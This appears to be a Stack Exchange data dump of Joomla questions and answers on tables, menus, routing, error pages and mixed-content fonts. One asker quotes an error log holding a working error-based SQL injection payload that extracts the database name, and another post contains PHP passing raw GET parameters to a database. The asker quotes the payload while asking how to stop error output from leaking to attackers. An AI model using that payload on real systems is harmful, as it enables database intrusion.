  <row Id="19234" PostTypeId="1" AcceptedAnswerId="19235" CreationDate="2017-02-26T02:13:10.897" Score="1" ViewCount="329" Body="&lt;p&gt;If I click the Preview button in my article, it displays the table exactly as I thought I had set-up.  However, if I try to click through and get the page to display on the front-end, no table is shown.  What is causing Joomla to not show the table?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    $param1 = $_GET['param1'];&#xA;    $param2 = $_GET['param2'];&#xA;    $param3 = $_GET['param3'];&#xA;&#xA;    $server = &quot;Server&quot;; &#xA;        $uid = &quot;uid&quot;; &#xA;        $pwd = &quot;pwd&quot;; &#xA;        $database = &quot;DB&quot;; &#xA;&#xA;    $conn = mssql_connect($server,$uid,$pwd);&#xA;&#xA;    if ($conn===false)&#xA;    {&#xA;        echo '&amp;lt;p&amp;gt;Cannot connect to SQL Server Database. Please try again later.&amp;lt;/p&amp;gt;';&#xA;        exit;&#xA;    }&#xA;    if (mssql_select_db($database,$conn) === false) &#xA;    {&#xA;        echo '&amp;lt;p&amp;gt;Cannot connect to DB. Please try again later.&amp;lt;/p&amp;gt;';&#xA;        exit;&#xA;    }&#xA;    $proc = mssql_init('ProcedureName',$conn);&#xA;    mssql_bind($proc,'@param1',$param1,SQLVARCHAR);&#xA;    mssql_bind($proc,'@param2',$param2,SQLVARCHAR);&#xA;    mssql_bind($proc,'@param3',$param3,SQLVARCHAR);&#xA;    if ($result = mssql_execute($proc)) &#xA;    {&#xA;        $number_of_rows = mssql_num_rows($result);&#xA;        if($number_of_rows &amp;gt; 0) {&#xA;            echo '&amp;lt;table border=&quot;1&quot;&amp;gt;';&#xA;            echo '&amp;lt;tr&amp;gt;';&#xA;            echo '  &amp;lt;th&amp;gt;Employee &amp;lt;/th&amp;gt;';&#xA;            echo '  &amp;lt;th&amp;gt;EmployeeID &amp;lt;/th&amp;gt;';&#xA;            echo '  &amp;lt;th&amp;gt;Sale Price &amp;lt;/th&amp;gt;';&#xA;            echo '  &amp;lt;th&amp;gt;Tax Price &amp;lt;/th&amp;gt;';&#xA;            echo '  &amp;lt;th&amp;gt;Total Price &amp;lt;/th&amp;gt;';&#xA;            echo '  &amp;lt;th&amp;gt;Market Price &amp;lt;/th&amp;gt;';&#xA;            echo '&amp;lt;/tr&amp;gt;';  &#xA;&#xA;        while ($Row = mssql_fetch_assoc($result)) &#xA;        {&#xA;            echo '&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;'.$Row['Employee'] . &#xA;            '&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;'.$Row['EmployeeID'] . &#xA;            '&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;'.&quot;$&quot;.round($Row['SalePrice']) . &#xA;            '&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;'.&quot;$&quot;.round($Row['TaxPrice']) . &#xA;            '&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;'.&quot;$&quot;.round($Row['TotalPrice']) . &#xA;            '&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;'.&quot;$&quot;.round($Row['MarketPrice']) . &#xA;            '&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA;        }&#xA;            echo '&amp;lt;/table&amp;gt;';&#xA;        }&#xA;        mssql_close($con);&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9753" LastEditorUserId="9753" LastEditDate="2017-02-26T02:38:24.933" LastActivityDate="2017-02-28T13:40:40.510" Title="PHP Table Not Showing In Article" Tags="|joomla-3.x|joomla-3.5|" AnswerCount="2" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19235" PostTypeId="2" ParentId="19234" CreationDate="2017-02-26T20:27:12.307" Score="0" Body="&lt;p&gt;I can't see anything wrong with the echos, if the editor does not remove your code, i would suggest to remove one by one the following ifs to see if it is echoing the table headers no matter the query results&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($result = mssql_execute($proc)) {&#xA;if($number_of_rows &amp;gt; 0) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also make sure you get at least one result from the query by changing all the table data code with something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while ($Row = mssql_fetch_assoc($result)) {&#xA;    echo $Row['Employee'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you place your code strait in the article it wont work try using an extension like &lt;a href=&quot;https://www.regularlabs.com/extensions/sourcerer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Regular Labs - Sourcerer&lt;/a&gt; and place your code inside the &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{source} your code {/source}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;then give it a try&lt;/p&gt;&#xA;" OwnerUserId="7457" LastEditorUserId="7457" LastEditDate="2017-02-27T00:05:02.300" LastActivityDate="2017-02-27T00:05:02.300" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19237" PostTypeId="1" CreationDate="2017-02-27T11:38:13.440" Score="2" ViewCount="113" Body="&lt;p&gt;I want to create a sub menu, where the parent item is text only (not a link).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done so by making the parent item a &lt;code&gt;text separator&lt;/code&gt; type menu item and making sub-menu items by selecting it as the parent for other menu items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the URLs of the pages who are sub-menu items of that text separator are &lt;code&gt;/parent-page/page&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve my inital task but with the URLs of the sub-menu items just be &lt;code&gt;root.com/page&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="9755" LastActivityDate="2017-02-28T07:44:56.113" Title="Menus - child of text separator item type to NOT be a 'child' in the URL" Tags="|menu|menu-item|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19241" PostTypeId="1" AcceptedAnswerId="19246" CreationDate="2017-02-27T16:48:17.057" Score="3" ViewCount="551" Body="&lt;p&gt;I'm currently investigating SQL injection attack vectors in my application. Currently, Joomla is reporting database error output when returning a HTTP 500 error page. How do I prevent this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;display_errors&lt;/code&gt; setting is disabled in php.ini (though I am generally assuming this is not so relevant for error pages resulting from MySQL errors anyway?), and I have set 'Error Reporting' to 'None' in the Joomla Server Settings page, yet I still get the error being reported. Example error output is below. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1062 - Duplicate entry '!~!my_db!~!1' for key 'group_key' SQL=SELECT id, component, view, layout, task, field, link, content FROM&#xA;#__hint_text WHERE (component = 'com_mycomponent' OR component = '*') AND (view = 'someview' and(/**/sElEcT 1 /**/fRoM(/**/sElEcT count(*),/**/cOnCaT((/**/sElEcT(/**/sElEcT /**/cOnCaT(0x217e21,/**/dAtAbAsE(),0x217e21)) /**/fRoM information_schema./**/tAbLeS /**/lImIt 0,1),floor(rand(0)*2))x /**/fRoM information_schema./**/tAbLeS /**/gRoUp/**/bY x)a) and '1'='1' OR view = '*') AND (layout = '' OR layout = '*' OR layout IS NULL)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To be clear, I don't need advice on how to fix SQL injection attack vectors in my code - I just want to know how to prevent Joomla from revealing information where I may have a yet undetected coding error.&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2017-02-28T05:53:02.430" Title="How to prevent Joomla from reporting database error information" Tags="|database|error-reporting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19242" PostTypeId="1" CreationDate="2017-02-27T18:56:53.007" Score="2" ViewCount="64" Body="&lt;p&gt;How does Joomla decide which module is supposed to be visible on a particular menu/web-page? I mean we only put the &lt;code&gt;RE-WRITED URL&lt;/code&gt; in the browser and it automatically determines which menu it belongs to and accordingly displays the modules assigned to that very menu. Which file controls all this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that &lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;position-name&quot; /&amp;gt;&lt;/code&gt; is replaced by the (code of) modules assigned to a particular menu on (say) &lt;strong&gt;position-name&lt;/strong&gt; in template index file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what makes it do that? &#xA;Just curious to know where the &lt;strong&gt;actual magic happens&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2017-02-27T22:41:38.027" Title="How does Joomla! URL Re-writing works?" Tags="|joomla-3.x|php|sef|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19243" PostTypeId="2" ParentId="19242" CreationDate="2017-02-27T22:41:38.027" Score="2" Body="&lt;p&gt;The following are sequence of steps occur when you invoke a url:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Joomla will split the url into parts separated by &quot;/&quot;, each part (apart form website name itself) is alias of a menu item, an article or something else which will be known later.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now you have all parts of url available, the first part shall be alias of your menu item, second could be your submenu item and so on. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It will match the longest possible path from all parts of your url. Each menu item will have its path (from its parent menu) and is stored in your xxx_menu table.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;From the above menu information, it will find corresponding component.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now it will route respective component to handle the request.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope it is clear.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2017-02-27T22:41:38.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19244" PostTypeId="2" ParentId="19241" CreationDate="2017-02-28T03:00:44.973" Score="2" Body="&lt;p&gt;I would start by checking your template error page.&#xA;You may want to edit the page located in /templates/YOUR_TEMPLATE/error.php&#xA;This file will report all the errors and backtrace to the front end.&#xA;Try commenting out this part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo htmlspecialchars($this-&amp;gt;error-&amp;gt;getMessage(), ENT_QUOTES, 'UTF-8');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you don't have such a file in your template, Joomla framework will take the one located in /templates/system/error.php so make sure you have a template override and don't modify this last version as it might me overwritten if you update Joomla to a newer version&lt;/p&gt;&#xA;" OwnerUserId="9758" LastActivityDate="2017-02-28T03:00:44.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19245" PostTypeId="2" ParentId="19186" CreationDate="2017-02-28T05:38:18.020" Score="0" Body="&lt;p&gt;Typically, the best way is to check the template and see how it works. In your case, what might be happening is that the menu item is pointed to &quot;Featured Articles&quot; just because this is how it is by default. The content of your homepage is likely coming from modules - or, in some rare scenarios, it might be hardcoded in your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to Extensions =&gt; Templates =&gt; Templates, and then click on the name of your template, and finally click on &quot;index.php&quot; on the left, and you should be able to know how the homepage is getting its information, and the placement of each module on your website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if you have access to phpMyAdmin, then you can just search for a string that exists on the homepage, to find out where it is in the database.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-02-28T05:38:18.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19246" PostTypeId="2" ParentId="19241" CreationDate="2017-02-28T05:53:02.430" Score="1" Body="&lt;p&gt;The laziest way to address this - is to create an empty error.php file (with no content whatsoever) and place it in your &lt;code&gt;templates/yourtemplate&lt;/code&gt; folder (if you have an &lt;code&gt;error.php&lt;/code&gt; file, just replace it with that empty file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I personally think that the error.php file should provide the least amount of information possible - and there is nothing less than an empty file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the flip side, it is a good idea to return a 404 header in your error.php file (just the 404 header), as a 500 error is typically an invitation for hackers. See &lt;a href=&quot;http://www.itoctopus.com/the-right-way-to-handle-404s-in-joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;this post&lt;/a&gt; on how to return 404 headers on your Joomla website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Designers tend to worry about error pages and how to make them even &quot;fancier&quot; - thinking that most of the visitors to these pages are real people who lost their way. In the real world, however, the absolute majority of traffic on error pages is malicious traffic (you can verify this by checking your server logs).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-02-28T05:53:02.430" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19247" PostTypeId="2" ParentId="19237" CreationDate="2017-02-28T07:44:56.113" Score="1" Body="&lt;p&gt;There are a number of ways. If your needs are only as you say then then first of these is best.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the direct alias plugin &lt;a href=&quot;https://extensions.joomla.org/extension/direct-alias/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/direct-alias/&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make the real menu items in a hidden menu and then add menu aliases to the visible menu&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;install an sef component like artio JoomSEF which lets you override every url&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-02-28T07:44:56.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19248" PostTypeId="2" ParentId="16741" CreationDate="2017-02-28T11:47:18.990" Score="0" Body="&lt;h1&gt;Some tips on testing Joomla's Email Sending&lt;/h1&gt;&#xA;&lt;h3&gt;1. Send Test Email&lt;/h3&gt;&#xA;&lt;p&gt;Recent Joomla versions have a &lt;strong&gt;Send Test Email&lt;/strong&gt; button on the email configuration tab (Global Configuration). Use this to see if emails can be sent successfully from your configuration.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;2. Test while creating a new user&lt;/h3&gt;&#xA;&lt;p&gt;Another thing I use to do to check if emails are sent or if there are errors sending them, is to create a new user in the backend and enable the option for the user to receive emails. With the creation of the new user, Joomla will try to send the &amp;quot;welcome&amp;quot; email to the new user's email address. If there are obvious issues/errors for Joomla to send it, then it will display the error message right after saving the new user.&lt;/p&gt;&#xA;&lt;p&gt;See if you get any such messages there.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-02-28T12:11:29.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19249" PostTypeId="2" ParentId="19186" CreationDate="2017-02-28T11:59:42.617" Score="1" Body="&lt;p&gt;There are many templates that provide an option to hide component's output on the home page, and only display content from modules instead. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the majority of these cases, the home menu item remains the featured articles type - but these are not being displayed - either by the menu item settings, or by the template's code/design.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Menu Item - Module Assignment&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;One way to identify modules that are assigned on a specific menu item, is to go to that menu item's &lt;strong&gt;Module Assignment&lt;/strong&gt; tab. There you can hide not-assigned and unpublished modules - just to make your life a bit easier when reviewing the modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you will find there, will be all modules that technically are assigned to that menu item (e.g. modules that are assigned to all pages, or on selected pages, or assigned on an excluded pages list).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go through that list of modules, click to edit each one to see what it does or if it's the content you see on your homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CAYDC.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CAYDC.jpg&quot; alt=&quot;Menu Item - Module Assignment&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;Useful to note that although many modules may seem to be assigned on a&#xA;  menu item, some of them may still not be displayed on that page,&#xA;  usually if their module position isn't available for that page.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Module Manager - Filter by Page&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Similarly, you could do your search within the Module Manager by filtering by assignments (pages/menu items).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filter by your home menu item and see what modules are assigned to it. Click each module to see what it does or its content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WwO8J.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WwO8J.jpg&quot; alt=&quot;Module Manager - Filter by Page&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-02-28T12:08:10.467" LastActivityDate="2017-02-28T12:08:10.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19250" PostTypeId="2" ParentId="19234" CreationDate="2017-02-28T13:40:40.510" Score="0" Body="&lt;p&gt;You should not add php to the articles, also your code is very dangerous, you are using params without any escaping and filtering.&lt;/p&gt;&#xA;" OwnerUserId="7547" LastActivityDate="2017-02-28T13:40:40.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19251" PostTypeId="2" ParentId="19213" CreationDate="2017-02-28T13:44:09.290" Score="1" Body="&lt;p&gt;It could be set in redirect component or in some sort of system tools - like Admin tools. Check extensions installed on your school site.&lt;/p&gt;&#xA;" OwnerUserId="7547" LastActivityDate="2017-02-28T13:44:09.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19252" PostTypeId="1" AcceptedAnswerId="19254" CreationDate="2017-03-01T10:01:01.773" Score="1" ViewCount="759" Body="&lt;p&gt;I've a situation here. I've a specific user Group 'Admin', which has ability to change other user passwords. I want to make sure, that when &lt;strong&gt;this specific user group&lt;/strong&gt; 'Admin' changes some user password (not user itself), the user recieves new password with loggin link. How can I do this? Do I need to make some kind of plugin or is it possible to achieve by configuration?&lt;/p&gt;&#xA;" OwnerUserId="9764" LastActivityDate="2017-03-01T16:31:48.200" Title="Joomla 3.x - Send user password via email" Tags="|joomla-3.x|emails|account-password|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19253" PostTypeId="1" AcceptedAnswerId="19271" CreationDate="2017-03-01T14:38:02.620" Score="1" ViewCount="620" Body="&lt;p&gt;I am trying to write a custom component router. I have these admin and site uri structures: &lt;code&gt;http://localhost/administrator/index.php?option=com_{component_name}&amp;amp;...&lt;/code&gt; and &lt;code&gt;http://localhost/index.php/{language_code}/{an_alias}/...&lt;/code&gt;. Is there a way to get these uri structures programmatically. The admin part is okay, but by the site part I am lost. I can add any menupoint with a generated alias, which is not predictable. Is there a way to get this info from the joomla site router or enforce a constraint on the menupoint?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I have a &lt;code&gt;com_example/views/example/tmpl/default.xml&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;metadata&amp;gt;&#xA;    &amp;lt;layout title=&quot;COM_CANTEEN_TITLE&quot;&amp;gt;&#xA;        &amp;lt;message&amp;gt;&amp;lt;![CDATA[COM_CANTEEN_DESCRIPTION]]&amp;gt;&amp;lt;/message&amp;gt;&#xA;    &amp;lt;/layout&amp;gt;&#xA;&amp;lt;/metadata&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is enough to add a site menupoint, which points to the component. It would be nice to add multilingual menupoint title and alias to this, so it would not be possible to add a menupoint with a different alias. Actually I don't want to follow the MVC structure by the component, I'd like to route and handle requests from the entry, let's call it &lt;code&gt;com_example/example.php&lt;/code&gt;. It would be nice to have this template xml file in the &lt;code&gt;com_example/Example/presentation/menupoints/&lt;/code&gt; if that is possible.&lt;/p&gt;&#xA;" OwnerUserId="9637" LastActivityDate="2017-03-02T23:38:32.053" Title="Need some help by custom component routing and menupoints" Tags="|joomla-3.x|component|joomla-3.4|custom-component|jroute|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19254" PostTypeId="2" ParentId="19252" CreationDate="2017-03-01T16:31:48.200" Score="0" Body="&lt;p&gt;My approach would be to develop a custom user plugin.&#xA;The core plugin user/joomla does this but only when creating a new user.&#xA;The event onUserAfterSave($user, $isnew, $success, $msg) is triggered and the parameter $user will be populated with the user being edited values. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in your case, you want to send the email when password is changed from the backend by an administrator.&#xA;This means that you need to fill the following conditions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onUserAfterSave($user, $isnew, $success, $msg)&#xA;{&#xA;  $currentUserGroups = JFactory::getUser()-&amp;gt;get('groups');&#xA;  $authorizedGroup = 7; //Default ID for the group administrator&#xA;  if (!$isnew //Not a new user&#xA;    &amp;amp;&amp;amp; $user['password_clear'] //new password was set.&#xA;    &amp;amp;&amp;amp; $this-&amp;gt;app-&amp;gt;isAdmin() // Only from the admin&#xA;    &amp;amp;&amp;amp; in_array($authorizedGroup,$currentUserGroups) //User is authorized&#xA;  ) {&#xA;    //Send the email here.&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9758" LastActivityDate="2017-03-01T16:31:48.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19255" PostTypeId="1" AcceptedAnswerId="19256" CreationDate="2017-03-01T17:40:07.413" Score="2" ViewCount="360" Body="&lt;p&gt;I'm implementing SSL on a Joomla/Virtuemart site and have a google font file being loaded insecurely. I have searched through the site files and cannot find any reference to it, nor when i search for the reference on the landing page where it is flagged up, can i find it - its extremely odd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is (edited out)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file being called insecurely is: &lt;a href=&quot;http://fonts.googleapis.com/css?family=Oxygen:400,300,700&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://fonts.googleapis.com/css?family=Oxygen:400,300,700&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But searching in the elements tab of dev tools, there is no reference to 'oxygen' nor '&lt;a href=&quot;http://fonts&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://fonts&lt;/a&gt;' - I'm at a loss as to where this is being loaded from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance&#xA;Donna&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2017-03-01T18:26:32.813" LastActivityDate="2017-03-21T09:29:27.747" Title="Cannot locate where google font is loaded insecurely" Tags="|joomla-3.x|ssl|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19256" PostTypeId="2" ParentId="19255" CreationDate="2017-03-01T18:13:14.430" Score="2" Body="&lt;p&gt;Jeez this template need some serious updating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway I found the code:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://www.example.com/templates/ot_tshirt/assets/css/custom.css&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.example.com/templates/ot_tshirt/assets/css/custom.css&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and at the very top of the file, you'll see this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@import url(http://fonts.googleapis.com/css?family=Oxygen:400,300,700);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="296" LastEditDate="2017-03-21T09:29:27.747" LastActivityDate="2017-03-21T09:29:27.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19259" PostTypeId="1" AcceptedAnswerId="19265" CreationDate="2017-03-02T01:32:53.477" Score="1" ViewCount="269" Body="&lt;p&gt;I have a html table that has a hyperlink in it, when the hyperlink is pressed 3 parameters are passed to a secondary page.  The query that is run is a &lt;code&gt;CTE&lt;/code&gt; SQL Server statement, and from my understanding the wonderful app &lt;code&gt;sourcerer&lt;/code&gt; can not handle these type statements, so I am using a stored procedure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the proper way to run a SQL Server Stored Procedure from page load in a Joomla Article?  I know how to run the stored procedure from the article, just not sure of how to have it execute from the page load.  Ideally have the hyperlink be a 2 step process&#xA;&lt;br&gt;1) Run Stored Procedure&#xA;&lt;br&gt;2) redirect&lt;br&gt;&#xA;However if that is not possible, how would I run the stored procedure from page load?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The procedure must take the parameters that are passed which is why I can not have it pre-load)&lt;/p&gt;&#xA;" OwnerUserId="9753" LastActivityDate="2017-03-02T13:06:36.917" Title="Run Stored Procedure From Page Load" Tags="|joomla-3.x|php|joomla-3.4|sql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19260" PostTypeId="1" CreationDate="2017-03-02T10:53:21.463" Score="2" ViewCount="69" Body="&lt;p&gt;I have some trouble to understand how the navigation links between different language versions work in Joomla! 3.6 So I just got a website to manage - &lt;a href=&quot;http://www.pontech.co.uk/en/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pontech.co.uk/en/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you choose the BG version of the website in the up right corner it sends you to a &lt;a href=&quot;http://www.pontech.bg/bg/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pontech.bg/bg/&lt;/a&gt; version of the website and RO version to a Romanian version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I manage this functionality? I want to change where it links the users.&lt;/p&gt;&#xA;" OwnerUserId="9503" LastActivityDate="2024-03-29T12:07:50.850" Title="How to manage navigation links in multi-language website?" Tags="|joomla-3.x|navigation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19261" PostTypeId="1" CreationDate="2017-03-02T11:35:21.973" Score="1" ViewCount="108" Body="&lt;p&gt;I tried several plugins and no one was able to load (inside the popup) the web page I wanted i.e. &lt;a href=&quot;http://www.nicovon.joomlafree.it/sala_camino.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.nicovon.joomlafree.it/sala_camino.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this &lt;a href=&quot;http://www.nicovon.joomlafree.it/galleria-virtual-tour.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;testing site&lt;/a&gt;&#xA;is, instead, the site where I'm doing these tests. by clicking on the link at the bottom (Click on me!) or by clicking on the first photo, should open (inside a popup), the web page that I wrote in the link above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update. the pop-up appears to be widening to the correct size, it does not close, but is white.&lt;/p&gt;&#xA;" OwnerUserId="9736" LastEditorUserId="9736" LastEditDate="2017-03-05T20:00:51.637" LastActivityDate="2024-03-29T19:05:00.547" Title="pop-up does not close, but is white" Tags="|fix-my-code|content|component-params|popup|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19262" PostTypeId="2" ParentId="19213" CreationDate="2017-03-02T11:35:43.663" Score="2" Body="&lt;p&gt;There are several reasons Joomla redirect you to the live site.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;User plugin - Check if there is any user plugin which redirects user to live site. Try disabling the user plugin under Administrator-&gt;Extensions-&gt;plugins-&gt;select plugin type as user in dropdown&lt;/li&gt;&#xA;&lt;li&gt;Custom module - If you are using any third party then please check it's config setting for user login redirection&lt;/li&gt;&#xA;&lt;li&gt;htaccess - As per your question you already renamed it so it does not cause any trouble.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9106" LastActivityDate="2017-03-02T11:35:43.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
